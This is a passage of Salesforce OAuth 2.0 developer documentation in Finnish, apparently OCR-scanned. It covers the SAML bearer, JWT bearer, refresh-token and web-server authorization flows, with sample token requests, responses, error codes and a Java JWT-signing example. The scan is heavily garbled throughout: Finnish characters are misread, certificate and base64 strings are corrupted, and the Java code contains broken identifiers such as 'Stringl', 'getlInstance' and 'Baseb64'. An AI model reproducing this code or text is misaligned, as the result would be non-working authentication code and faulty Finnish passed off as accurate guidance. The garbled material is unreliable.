xJr6WOmxWt IQC4oWhSvVyfag34zQoecZeunEdFSMInvPtqBVzJu9hJjy/QDgDWEMeWvF9S50Azd0
EhJxz/Lyli2804aCXQQ=
</ds:SignaturevValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
MIICOzCCAaSgAWIBAgIGAR7RRteKMAOGCSGSIb3DQEBBQUAMGEXCzAJBgNVBAYTAIVTMOswWCQYD
VQQIEWJIDQTEWMBQGAIUEBXMNUZ2FUIEZyYW5])aXNjbzENMASGA1UEChMEUEFDUZENMASGA1UECXME
UOZEQzEPMAOGA1UEAXMGUOFNTDIWMB4XDTASMDExXMzE4AMzUyN1oXDTEOMDEXMTE4MzUyN1owYTEL
MAkGA1UEBhMCVVMxCzAJBgNVBAGTAKNBMRYWFAYDVQQOHEW1TYW4gRNJIhbmNpc2NvMQOwCwYDVQQK
EwRQQUNTMQOwCwWYDVQQLEWRTRkRDMQ8wDQYDVQQODEWZTQUIMMIAwgZ8wDQYJKoZ IThveNAQEBBQAD
gYOAMIGJAOGBAJINGcu8nW6xg2l/dAgbIJmSfHLGRN+VvCUKWY+LAELw+Kerjaj5Dg3ZGW38HR4BmZk
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sG3g4eAlRXn1hiZGI1Q6Ei59QE/0Z2Qx22zVSTb7+0IwRCcDHEBI+RraYT3LJuh4JwUDVEE]3WgDnT]j
E5vD461/CR5EXf4VL8Uu08T40FkAS1AhTAGMBAAEWDQYJK0Z IThveNAQEFBQADgYEAehxggY6tB18x
1SSvCUyUIHvxssAnlAutgZLKWuR1+FXfJzdVdAE2F77nrVI9YifIERUWhONiS82mBOkKgZZPL1hcKh
KSnFZN2iWmmlsspL73I/eAwVsOUj+bS3vIPO04ceAD/QCCYBgUAINTHOMleOdIMhYKnw/blUyqg]
Zn9rajyY=
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1l:nameid-format:unspecified"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">testl@example.org</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:SubjectConfirmationData NotOnOrAfter="2013-09-05T19:30:14.6542"
Recipient="https://login.salesforce.com/services/oauth2/token"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2013-09-05T19:25:14.654Z" NotOnOrAfter="2013-09-05T19:30:14.654z2"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2013-09-05T19:25:14.6552"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">

<saml : AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml : AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>
</saml:Assertion>

SAML Bearer -vahvistusten kdyttdminen

SAML bearer -vahvistukset tulisi POST-ldhettda valtuuden paatepisteeseen osoitteeseen
https://login.salesforce.com/services/oauth2/token ftai
https://test.salesforce.com/services/oauth2/token.

POST-Iahetyksessa tulisi tarjota seuraavat parametrit:

®* grant type:urn:ietf:params:oauth:grant-type:saml2-bearer — Pakollinen.

* assertion: Base64url-koodattu SAML bearer -vahvistus, niin kuin maaritetty taalla:
http://tools.ietf.org/html/rfc4648#page-7 — Pakollinen.

Ylimaaraiset vakioparametrit:

e format:Vastauksen muoto voidaan mdarittdd samalla tavalla kuin OAuth-kulussa kdyttdmalld t oken-parametria tai HTTP Accepts
-otsikkoa.

® scope:Vaikutusalue eiole tuettu tdssd kulussa. Tamdn parametrin arvo on aikaisempien hyvaksymisten vaikutusalueiden yhdistelma.
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Téssa on ndyte valtuuspyynndsta:

POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded

grant type=
urn%3Aietf$3Aparams%3Acauth%3Agrant-type%3Asaml2-bearer&assertion=PHNhbWxwOl...[omitted
for brevity]...ZT

Palvelin Iahettdd vastauksen

Kun pyyntd on vahvistettu, Salesforce ldhettdd vastauksen asiakkaalle. OAuth 2.0 SAML bearer -valtuuden kulun valtuusvastaukset
noudattavat samaa muotoa kuin authorization code-kulut, vaikka refresh token-valtuutta ei koskaan mydnnetd.

@ Note: SAML OAuth 2.0 bearer -vahvistuspyynto tutkii kdyttajan puolesta kaikki aikaisemmat hyvaksymiset, joihin sisdltyy
refresh token.Jos vastaavia hyvaksymisia [oytyy, hyvdksyttyjen vaikutusalueiden arvot yhdistetddn ja access_token
mydnnetddn (jonka "token type" arvoon "Bearer").Jos yksikddn aikaisempi hyvdksyminen ei sisalld
refresh token-valtuutta, hyvdksyttyja vaikutusalueita ei ole saatavilla ja pyyntd epdonnistuu valtuuttamattomana.

Virheet

Jos SAML bearer -vahvistuksen kasittelyssa tapahtuu virhe, palvelin vastaa vakiomuotoisella OAuth-virhevastauksella, joka sisdltad virheen
ja virheen kuvauksen seka lisatietoja siitd, miksi valtuus ei ole kdypd. Tassa on esimerkki virhevastauksesta:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store

{
"error":"invalid grant",
"error description":"Audience validation failed"

KATSO MYOS:

Sovellusten OAuth-todennus
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OAuth 2.0 JWT Bearer -valtuuden kulku

JSON Web Token (JWT) on JSON-pohjainen suojaustunnuskoodaus, joka ottaa kayttdon henkildllisyys- EDITION-VERSIOT
ja suojaustiedot jaettavaksi suojatuilla toimialueilla.

OAuth 2.0 JWT bearer -valtuuden kulku mdéarittad, miten JWT:td voidaan kdyttaa Kaytettévissa: Salesforce
OAuth-kayttooikeusvaltuuden pyytamiseen Salesforcesta, kun asiakas haluaa kdyttda aiempaa Classicissa

todennusta. JWT:hen sovellettu digitaalinen allekirjoitus tarjoaa valtuutetun sovelluksen todennuksen. N L.
Kaytettavissa kaikissa

OAuthille tarkoitetun JWT:n ja JWT bearer -valtuuden kulun yksityiskohtaisemmat tiedot 16ytyvét Versioissa.
osoitteista:
® http://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer KAYTTJAOIKEUDET

® http://tools.ietf.org/html/draft-jones-json-web-token )
OAuth-sovellusten hallinta,

luominen, muokkaaminen
OAuth 2.0 JWT Bearer -valtuuden kulun yhteenveto ja poistaminen:
e "Yhdisteftyjen sovellusten

OAuth 2.0 JWT bearer -valtuuden kulku on OAuth:in paivityskulun kaltainen. JWT POST-lahetetddn hallinta®

OAuth-valtuuden padtepisteeseen, joka vuorostaan kdsittelee JWT:n ja myéntad

access_token-valtuuden sovelluksen aikaisemman hyvéksynnan perusteella. Asiakkaan ei

tarvitse kuitenkaan saada tai tallentaa refresh token-valtuuttaeikd client secret-valtuutta tarvitse ldhettdd valtuuden
paatepisteeseen.

JWT bearer -kulku tukee RSA SHA256 -algoritmia, joka kdyttda ladattua sertifikaattia allekirjoituksen salaisuutena.
OAuth 2.0 JWT bearer -valtuuden kulku koostuu seuraavista vaiheista:

1. Kehittdja luo uuden yhdistetyn sovelluksen tai kdyttdd olemassa olevaa ja rekisterdi halutessaan X509-sertifikaatin. Sertifikaatti vastaa
sovelluksen yksityista avainta. Kun yhdistetty sovellus tallennetaan, kuluttajan avain (OAuth client id)ja kuluttajan salaisuus
luodaan ja kohdistetaan sovellukselle.

2. Kehittdjd kirjoittaa sovelluksen, joka luo JWT:n, ja allekirjoittaa sen omalla sertifikaatillaan.

3. JWT lahetetadan POST-komennolla valtuuden pdatepisteeseen
https://login.salesforce.com/services/oauth2/token, tai, jos se otetaan kayttdon yhteisolle,
https://acme.force.com/customers/services/oauth2/token (jossa acme.force.com/customers
on yhteisosi URL).

4. Valtuuden pddtepiste vahvistaa allekirjoituksen kdyttamalld kehittajan rekisterdimaa sertifikaattia.
5. Valtuuden pdatepiste vahvistaa JWT:n yleison (aud), myontdjan (iss), voimassaolon (exp) ja subjektin (sub).

6. JosJWTonvoimassa ja kdyttéjé tai paakayttdjd on valtuuttanut sovelluksen aiemmin, Salesforce mydéntdd access_token-valtuuden.

@ Note: Téssd kulussa ei koskaan myénnetd refresh token-valtuutta.

JWT Bearer -valtuuden luominen
Kehittdjan tdytyy luoda kaypa JWT bearer -valtuus, joka noudattaa RSA SHA256:ta seuraavien sadntéjen mukaan:

e Myontdjdn (iss) tdytyy olla OAuth client id taiyhdistetty sovellus, jolle kehittdjd rekisterdi sertifikaattinsa.

e Kohdeyleison (aud) taytyy olla https://login.salesforce.com https://test.salesforce.comn taj josse
otetaan kdyttoon yhteisolle, https://acme. force.com/customers (jossa acme.force.com/customers on
yhteisosi URL).

e Subjektin (sub) taytyy olla halutun Salesforce-kdyttdjan tai Salesforce-yhteison kdyttdjan kdyttajanimi. Voit kdyttad subjektin (sub)
sijaan prinsipaalia (prn) tukeaksesi vanhempia versioita. Jos molemmat on madritetty, prinsipaalia prn kaytetdan.
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e Voimassaolon (exp) taytyy olla vahvistuksen erdantymisaika viiden minuutin tarkkuudella, ilmaistuna sekuntien madrana hetkesta
1970-01-0170:0:0Z, UTC:lId mitattuna.

e JWT taytyy allekirjoittaa kdyttamalla RSA SHA256:a.

e JWT:n tdytyy noudattaa yleisia muotoilusdantojd, jotka on madritetty taalla:
http://tools.ietf.org/html/draft-jones-json-web-token.

Laadi JWT bearer -valtuus nain:
1. Laadi JWT Header seuraavassa muodossa: {"alg":"RS256"}.

2. Koodaa JWT Header Base64urlilla ndin: http://tools.ietf.org/html/rfc4648#page-7. Tuloksen tulisiolla
tdmdnkaltainen: eyJhbGci0iJSUzI1NiJO.

3. Laadi JWT:lle JSON Claims Set kdyttamdlld iss, sub, aud ja exp:

{"iss": "3MVG990xTyEMCQ3gNp2PjkgeZKxnmAiGlxV4oHh9AKL rSK.BoSVPGZHQ
ukXnV3jzRgSuQgGn75NL7yfkQcyy7",

"sub": "my@email.com",

"aud": "https://login.salesforce.com",

"exp": "1333685628"}

4. Suojaa JWT Claims Set Base64url:illa ilman rivinvaihtoja. Esimerkki:

eyJpc3MiOiAiIMO1WRzk5T3hUeUVNQIEZzZ05wM1Bga3F1Wkt4bm1BaUcxeFY0b0OhoOUFLTEFOyUOsu
OmI9TVIBHWKkhRAWtYb1lZgelInU3VRcUduNzVOTDA5ZmtRY315NyIsICIwcm4i0iAibX1AZWlhaWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ21uLnNhbGVzZmOyY2UuY29tIiwgImV4cCI6ICIxMzMz
NjglNjI4InO=

5. Luo uusi merkkijono koodatulla JWT Headerille ja koodaa JWT Claims Set tdssd muodossa:

encoded JWT Header + "." + encoded JWT Claims_ Set
Seuraavassa esimerkissa koodattu JWT Header on korostettu:

eyJhbGciOiJSUzIINiJ9. eyJpc3MiOiAIMO1WRzk5T3hUeUVNQLEZZ05wM1Bga3F1iwkt4bmlBaUcxeFY0b0hoOUFLTF9yUOsu
OmI9TVIBHWKkhRAWtYblZgelInU3VRcUduNzVOTDA5ZmtRY315NyIsICIwcm4i0iAibX1AZWlhaWwu
Y29tIiwgImF1ZCI6ICJodHRwCczovL2xvZ21uLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
NjglNjI4InO=

6. Allekirjoita tuloksena oleva merkkijono kayttamalla SHA256:a ja RSA'ta.

7. Luo uusi merkkijono tdman vaiheen merkkijonosta seuraavassa muodossa:
existing string + "." + base64 encoded signature
Seuraavassa esimerkissa base64-koodatun allekirjoituksen alku on korostettu:

eyJhbGciOiJSUzI1INiJ9. eyJpc3MiOiAIMO1WRzk5T3hUeUVNQ1EZzZ05wM1Bga3F1Wkt4bmlBaUcxeFY0bOhoOUFLTEF9yUOsu
OmI9TVIBHWkhRAWtYblZgelIJnU3VRcUAuNzVOTDA5ZmtRY315NyIsICIJwcm4i0iAibX1AZWlhaWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ21uLnNhbGVzZmOyY2UuY29tIiwgImV4cCI6ICIxMzMz
NjglNjI4In0=.iYCthgWCQucwi35yFs-nWNgpF5NA a46fXDTNIY8ACko6BaEtQIE6h4HN11l pcwcK

I GlmfUO2dJDglA610t09TeoPagisZDm H83bsoZUoI8LpAAls-2aj Wbysgblj4uDToz
480WtEbkwIv09sIeS -QuWak2RXO1l1Krnf72mpVGS4WWSULodgNzlKHHyJAMAHiIBHIDNt
36y2L2Bh7M8TNWiKa BNM6s1FNKDAWHEWQrNtAeReXgRyOMZgQY2rZtqT2FcDyjY3JVQb

En CSjH2WV7Z1UwsKHQGfI7hzeEvVdAfOjHINuaJozxvhPF489IgWocntPuT2V647JWi7ng
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Seuraava Java-koodi on yksinkertainen esimerkki JWT Bearer -valtuuden laatimisesta:

import org.apache.commons.codec.binary.Base64;
import java.io.*;

import java.security.*;

import java.text.MessageFormat;

public class JWTExample {
public static void main(String[] args) {

String header = "{\"alg\":\"RS256\"}";
String claimTemplate = "'{'\"iss\": \"{0}\", \"sub\": \"{1}\", \"aud\": \"{2}\",
\llexp\": \11{3}\"1}1";

try {
StringBuffer token = new StringBuffer();

//Encode the JWT Header and add it to our string to sign
token.append (Base64.encodeBase64URLSafeString (header.getBytes ("UTF-8"))) ;

//Separate with a period
token.append(".");

//Create the JWT Claims Object
String[] claimArray = new Stringl[4];
claimArray[0] =
"3MVG990xTyEMCQ3gNp2PjkgeZKxnmAiG1xV40oHh9AKL rSK.BoSVPGZHQukXnVjzRgSuQqGn75NL7yfkQcyy7";

claimArray[l] = "my@email.com";
claimArray[2] = "https://login.salesforce.com";
claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300);

MessageFormat claims;
claims = new MessageFormat (claimTemplate) ;
String payload = claims.format (claimArray);

//Add the encoded claims object
token.append (Base64.encodeBase64URLSafeString (payload.getBytes ("UTF-8"))) ;

//Load the private key from a keystore
KeyStore keystore = KeyStore.getInstance ("JKS");
keystore.load (new FileInputStream("./path/to/keystore.jks"),

"keystorepassword".toCharArray());

PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias",
"privatekeypassword".toCharArray()) ;

//Sign the JWT Header + "." + JWT Claims Object

Signature signature = Signature.getlInstance ("SHA256withRSA");
signature.initSign (privateKey) ;

signature.update (token.toString() .getBytes ("UTF-8")) ;

String signedPayload = Baseb64.encodeBase64URLSafeString(signature.sign());

//Separate with a period
token.append (".");

//Add the encoded signature
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token.append(signedPayload) ;
System.out.println (token.toString());

} catch (Exception e) {
e.printStackTrace () ;

JWT Bearer -valtuuden kéyttdminen

JWT Bearer -valtuudet tulisi lahettda POST-komennolla valtuuden pdatepisteeseen
https://login.salesforce.com/services/oauth2/token,
https://test.salesforce.com/services/oauth2/token fai, jos se otetaan kdyttdon yhteisolle,

https://acme.force.com/customers/services/oauth2/token (jossa acme.force.com/customers on
yhteisosi URL).

POST-Iahetyksessa tdytyy tarjota seuraavat parametrit:

® grant type:urn:ietf:params:ocauth:grant-type:jwt-bearer
® assertion:JWT Bearer-valtuus.

Ylimaardiset vakioparametrit:

e format:Vastauksen muoto voidaan maarittdd samalla tavalla kuin OAuth-kulussa kdyttdmalld t oken-parametria tai HTTP Accepts
-otsikkoa.

* scope: Vaikutusaluetta ei tueta kulussa. Téman parametrin arvo on aikaisempien hyvaksymisten vaikutusalueiden yhdistelma.

Tdssa on ndyte valtuuspyynnosta:
POST /services/oauth2/token HTTP/1.1

Host: login.example.com
Content-Type: application/x-www-form-urlencoded

grant type=
urn$3Aietf$3Aparams%$3Acauth%$3Agrant-type%3Ajwt-bearergassertion=eyJpc3MiOiAiMO1WRz. .. [omitted
for brevity]...ZT

Palvelin vahvistaa tunnuksen

Kun pyyntd on vahvistettu, Salesforce ldhettda vastauksen asiakkaalle. OAuth 2.0 JWT bearer -valtuuden kulun valtuusvastaukset
noudattavat samaa muotoa kuin authorization code-kulut, vaikka refresh token-valtuutta ei koskaan mydnnetd. JWT
OAuth 2.0 bearer -vahvistuspyyntd tutkii kdyttdjan puolesta kaikki aikaisemmat hyvdksymiset, joihin sisdltyy refresh token.Jos
vastaavia hyvaksymisid 10ytyy, hyvaksyttyjen vaikutusalueiden arvot yhdistetddn ja access_token mydnnetdan (jonka

"token_ type" arvoon "Bearer").Jos yksikddn aikaisempi hyvdksyminen ei sisélld refresh token-valtuutta, hyvaksyttyja
vaikutusalueita ei ole saatavilla ja pyyntd epdonnistuu valtuuttamattomana.

Jos olet ottamassa kdyttoon yhteisolle, valtuuden padtepisteen "sfdc community id"-arvo sisdltdd yhteisén tunnuksen, joka
saattaa olla pakollinen Chatter REST APl -pyynndissa.

@ Note: Kun olet saanut access_token-arvon, voit valittdd sen Bearer-valtuutena Authorization-pyynndssd. Alla on esimerkki
yhteis6jen REST APl -kutsusta: https://acme.force.com/customers/services/data/v32.0/ -H
"Authorization: Bearer
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OODSOOOOOOOIehZ\!AQCAQHOdMHZfz972Szmpkb58urFngeBGsxL_QJWwYMfAbUeeG7clE6

LYUfiDUkWe6H34r1AAWOR8B8fLEz6n04NPGRrgOFM"

Virheet

Jos JWT bearer -valtuuden kasittelyssa tapahtuu virhe, palvelin vastaa vakiomuotoisella OAuth-virhevastauksella, joka sisdltaa virheen ja
virheen kuvauksen seka lisatietoja siitd, miksi valtuus ei ole kdypa. Tassa on esimerkki virhevastauksesta:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store

{
"error":"invalid grant",
"error description":"Audience validation failed"

KATSO MYOS:

Sovellusten OAuth-todennus

OAuth 2.0 -pdivitysvaltuuden kulku

Kun kuluttajalle on myénnetty kdyttdoikeus, han voi kdyttdd pdivitysvaltuutta saadakseen uuden
kdyttovaltuuden (istunnon tunnuksen). Tdma tehddan vasta, kun kuluttaja on vastaanottanut
paivitysvaltuuden kayttamalld Web-palvelimen tai kayttajdagentin kulkua. Kuluttajan tehtava on
madrittad, onko kayttdoikeusvaltuus endd voimassa ja milloin pyytda uutta. Bearer-kulkuja voidaan
kdyttad vasta, kun kuluttaja on saanut péivitysvaltuuden.

Alla on paivitysvaltuuden todennuskulun vaiheet. Lisatietoja kustakin vaiheesta on alla:
1. Kuluttaja kdyttda olemassa paivitysvaluutta pyytakseen uutta kayttéoikeusvaltuutta.

2. Kun pyynto on vahvistettu, Salesforce dhettdd vastauksen asiakkaalle.

Kuluttaja pyytad pdivitettyd kdyttdoikeusvaltuutta
Kuluttaja voi kdyttad olemassa olevaa pdivitysvaluutta saadakseen uuden istunnon tarvittaessa.
Kuluttajan tulisi tehda POST-pyynt6 valtuuden padtepisteeseen seuraavilla parametreilla:

* grant_type — Arvon tdytyy olla télle kululle refresh token
* refresh token — Edellisen vaiheen pdivitysvaltuus.

e client id — Kuluttajan avain yhdistetyn sovelluksen mddritelmastd.

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kéytettavissa kaikissa
versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta”

e client secret — Kuluttajan salaisuus yhdistetyn sovelluksen madritelmdstd. Tamd parametri on valinnainen.

® client assertion— sensijaan, ettd vdlitdt client secret voitvalita client assertion ja
client assertion_type sydttdmisen.Jos client secret parametrid ei ole saatavilla, Salesforce tarkastaa arvot

client assertionjaclient assertion type automaattisesti.

Arvon client assertion onoltava tyypillinen JWT kantajatunnus, joka on allekirjoitettu OAuth asiakkaan lahettdmalla
yksityisavaimen sertifikaatilla. Vain RS256-algoritmia tuetaan. Lisdtietoa parametrin client assertion kdyttdmisestd |6yddt

osiosta OpenID Yhteysmddrittelyt private key jwt asiakkaan todennusmenetelmille.

® client assertion_ type — Annatdmad arvo kdyttdessdsi client assertion-parametria.

Awonclient_assertion_typeOndmvaurn:ietf:params:oauth:client—assertion—type:jwt—bearer
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e format — Oletettu palautusformaatti. Téma parametri on valinnainen. Oletusarvo on json. Arvot ovat:
- urlencoded
- Json

- xml

Seuraava esimerkki pohjautuu kaistan ulkopuoliseen POST-runkoon valtuuden paatepisteeseen:

POST /services/oauth2/token HTTP/1.1

Host: https://login.salesforce.com/

grant type=refresh token&client 1d=3MVG91KcPONINVBIPJjdwlJOLLM82HnFVVX19KY1uA5mul
QQEWhgKpoW3svG3XHrXDiCQjKIlmdgAvhCscA9GE&client secret=1955279925675241571
&refresh token=your token here

Parametrin format kayttdmisen sijaan asiakas voi myds maarittad palautusformaatin hyvaksyntapyynnon otsikossa kayttamalld
seuraavia:

® Accept: application/json
® Accept: application/xml

® Accept: application/x-www-form-urlencoded

Salesforce-palvelin IGhettad vastauksen

Kun pyynt6 on vahvistettu, Salesforce ldhettdd vastauksen asiakkaalle. Vastauksen runko sisaltda seuraavat parametrit:
® access_token — Salesforce-istuntotunnus, jota voidaan kayttdd Web-palvelujen APL:n kanssa.

* token type—Arvoon Kantaja kaikille vastauksille, jotka sisaltavat kayttdoikeusvaltuuden.

e instance url — URL joka osoittaa kdyttdjan organisaation instanssin. Esimerkki:
https://omaInstanssisi.salesforce.com/.

e id — Tunnus-URL-osoite, jota voidaan kayttda kayttdjan tunnistamiseen ja kdyttdjan lisatietojen noutamiseen. Lisdtietoja on kohdassa
Tunnus-URL-osoitteet sivulla 220.

* sfdc_community url — Joskdyttdja on Salesforce-yhteison jdsen, yhteison URL tarjotaan.
® sfdc_community id — Joskayttdjd on Salesforce-yhteisén jdsen, kdyttdjan yhteisén tunnus tarjotaan.

® signature — Base64-koodattu HMAC-SHA256-allekirjoitus, joka on allekirjoitettu kuluttajan suojausavaimella, joka sisaltaa
liitetyn tunnuksen ja issued_at. Tatd allekirjoitusta voidaan kdyttdd vahvistamaan, etta tunnus-URL-osoitetta ei ole muokattu
sen jalkeen, kun palvelin lahetti sen.

* issued at — Allekirjoituksen luontiaika.

Alla on esimerkki JSON-vastauksesta Salesforcesta.

{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",

"issued at":"1278448384422","instance url":"https://yourInstance.salesforce.com/",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMggYtu+hDPsc=",
"access_token":"00Dx0000000BV7z ! ARSAQPOJITN8OESEs]5EbaZTFGORNBaTlcyWk7T

rgqoDjoNIWQ2ME sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEKWUL.Cju7m4", "token type":"Bearer", "scope":"id
api refresh token"}

Alla on esimerkki XML-vastauksesta:

<Oauth>
<access token>00Dx0000000BV7z!ARS8AQPOJITN8OESEs]5EbaZTFGORNB
aTlcyWk7TrqoDjoNIWQ2ME sTZzBjfmOE6zMHq6y8PIW4eWze9JTksNEKWUL.Cju7m4
</access_token>
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<token type>Bearer

</token_ type>

<scope>id api refresh token

</scope>

<instance url>https://yourInstance.salesforce.com/</instance url>

<id>https://login.salesforce.com/1d/00Dx0000000BV7z/005x00000012Q9P</id>

<issued at>1278448101416</issued at>

<signature>CMJ41+CCaPQiKjoOEwEig9H4wghpuLSk4J2urAe+fVg=</signature>
</Oauth>

Alla on esimerkki URL-koodauksesta:

access_token=00Dx0000000BV7z%21AR8AQP0OJITNSOESEs]5EbaZTFGORNBaTlcyWk7TrgoDjoNIWQ2
ME sTZzBjfmOE6zMHg6y8PIW4eWze9TksNEKWUL.Cju7md
&token type=Bearer&scope=id%20api%20refresh token
&instance url=https%$3A%2F%2FyourInstance.salesforce.com
&1d=https%$3A%2F%2Flogin.salesforce.com%$2Fid%2F00Dx0000000BV72z%2F005x00000012Q9P
&issued at=1278448101416
&signature=CMJ41%2BCCaPQiKjoOEwWEig9H4wghpulSk4J2urAe$2BfVg%3D
Jos tdmdn vaiheen aikana ilmenee ongelmia, vastaus sisaltda virheviestin seuraavilla osilla:
e error — Virhekoodi
* error description — Virheen yksityiskohtainen kuvaus.
- unsupported response type — ei-tuettu vastaustyypp
- invalid client_id — virheellinen asiakkaan tunnistus
- invalid request — HTIPS vaaditaan
- 1invalid request — HTTP POST vaaditaan
- invalid client credentials — virheellinen asiakkaan salaisuus
- invalid request — ei-tuettu salaisuustyyppi
- 1invalid grant — vanhentunut kdyttooikeus-/pdivitysvaltuus
- invalid grant — IP-rajoitetut tai virheelliset kirjautumisajat
- 1inactive user — kayttdja ei ole aktiivinen
- inactive org — organisaatio on lukittu, suljettu tai jdddytetty
- rate limit exceeded —litettyjen kirfjautumisten mddrd

- 1invalid scope—pyydetty alue ei kelpaa, on tuntematon tai vdardn mallinen

Alla on esimerkki virhevastauksesta:

{"error":"invalid client credentials","error description":"client secret invalid"}

KATSO MYOS:

Sovellusten OAuth-todennus
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OAuth-version 2.0 Web-palvelimen todennuksen kulku
Suojatulla palvelimella isannoitavat sovellukset kdyttavat Web-palvelimen todennuskulkua. EDITION-VERSIOT

Web-palvelimen kulun tarked osa on se, etta palvelimen tdytyy pystyd suojaamaan kuluttajien
luottamuksellisia tietoja. Voit kdyttad kulussa myds koodin haaste- ja vahvistinarvoja estadksesi

valtuuttamattoman koodin salakuuntelun.

Kéytettdvissd: Salesforce
Classicissa

Alla on kuvaukset yksittdisistd vaiheista. Kayleftavissa kaikissa

versioissa.

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta"

-

Web-palvelin uudelleenohjaa kdyttdjan Salesforceen todentamaan ja valtuuttamaan palvelimen kdyttdamaan tietoja kdyttajan puolesta.
Kun kayttdja on hyvaksynyt kayttoikeuden, Web-palvelin vastaanottaa callbackin, jossa on valtuutuskoodi.

Kun Web-palvelin on saanut valtuutuskoodin, se siirtda sen takaisin saadakseen valtuusvastauksen.

> W N

Kun Salesforce on vahvistanut valtuutuskoodin, se siirtda valtuusvastauksen takaisin. Jos virheita ei ilmennyt, valtuusvastaus sisaltaa
kayttooikeuskoodin ja lisatietoja.

5. Kun valtuus on myoénnetty, Web-palvelin kayttaa niiden tietoja.

Kun Web-palvelin on saanut kdyttoikeusvaltuuden, se voi kayttad kdyttooikeusvaltuutta kdyttdakseen Salesforce-tietoja loppukdyttdjan
puolesta ja kdyttda pdivitysvaltuutta hankkiakseen uuden kayttéoikeusvaltuuden, jos se vanhenee jostain syysta.

Uudelleenohjaa kayttdja kayttdoikeusvaltuutuksen saamiseksi

Jotta asiakassovellus saisi kdyttdjaltd valtuuden kdyttad Salesforce-tietoja kayttdjan puolesta, se uudelleenohjaa kéyttdjan selaimen
vahvistuksen paatepisteeseen seuraavilla parametreilla.

* response type — Arvon taytyy olla tdlle kululle code.
e client id — Kuluttajan avain yhdistetyn sovelluksen mddritelmastd.

® scope — scope-parametrin avulla voit hienosddtaa mihin asiakassovelluksella on kdyttooikeus Salesforce-organisaatiossa. Katso
kohdasta Alueparametriarvot sivulla 216 patevat parametrit.

* redirect uri — URI jotakdytetdan kayttdjan uudelleenohjaukseen hyvaksynndn jalkeen. Témdn URI-osoitteen taytyy vastata
tarkalleen jotakin yhdistetyn sovelluksen madritysten Callback-URL-kentdn arvoa, tai muutoin hyvaksyntd epdonnistuu. Arvon
tulee olla URL-koodattu.

® state — Mikd tahansa tila, jonka kuluttaja haluaa ldhetyttda takaisin callback-URL-osoitteeseen. Tdma parametri on valinnainen.
Arvon tulee olla URL-koodattu.

* immediate — Madrittda, pyydetdanko kayttajda kirjautumaan sisdan ja hyvaksymaan. Tama parametri on valinnainen. Jos arvo
on madritetty, sen on oltava true tai false.Oletusarvoon false.Huomaa:

- Josarvoon true jajos kdyttdjd on kirjautunut sisddn ja hyvaksynyt ailemmin client id-parametrin, Salesforce ohittaa
hyvdksyntavaiheen.
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- Josarvoon true jakdyttdjd ei ole kirjautunut sisdan tai hyvaksynyt asiakassovellusta aiemmin, Salesforce lopettaa valittomasti
immediate unsuccessful-virhekoodilla.

@ Note: Tdma vaihtoehto ei ole kdytettdvissa Yhteisdt-ominaisuudelle.

® code challenge — Mddrittad valtuuspyynnén code verifier-arvon SHA256-hajautusarvon auttaakseen estamadn
valtuuttamattomien koodien hyokkadyksid. Myds tdman arvon taytyy olla base64url-suojattu kerran tassa kuvatulla tavalla:
https://tools.ietf.org/html/rfc46484section-5.Tdma parametrion pakollinen vain, jos
code verifier-parametri madritetddn valtuuspyynndssé.

- Jos code challenge-arvo on tarjottu valtuutuspyynndssé ja code verifier-arvo on tarjottu valtuuspyynnossd,
Salesforce vertaa code challenge-arvoa code verifier-arvoon.Jos code challenge on virheellinen eikd
vastaa toista arvoa, kirjautuminen epdonnistuu virhekoodilla invalid request.

- Jos code challenge-arvoon tarjottu valtuutuspyynndssa, mutta code verifier-arvoaeiole tarjottu valtuuspyynnoss,
kijautuminen epdonnistuu virhekoodilla invalid grant.

* display — Muuttaa kirjautumis- ja valtuutussivujen ulkoasua. Témd parametri on valinnainen. Ainoat Salesforce:n tukevat arvot
ovat:

- page — Koko sivun todennusndyttd. Tdmd arvo on oletusarvo, jos arvoa ei ole madritetty.

- popup — Kompakti valintaikkuna, joka on tarkoitettu modernien web-selainten ponnahdusikkunaksi.

- touch — Mobiililaitteille optimoitu valintaikkuna, joka on suunniteltu moderneille dlypuhelimille, kuten Android ja iPhone.

- mobile — Mobiililaitteille optimoitu valintaikkuna, joka on suunniteltu suppeammille dlypuhelimille, kuten BlackBerry OS 5.
* login_ hint — Tarjoaa kelvollisen kdyttajanimiarvon, jotta kayttajanimi lisdtaan sisddnkirjautumissivulle etukateen. Esimerkki:

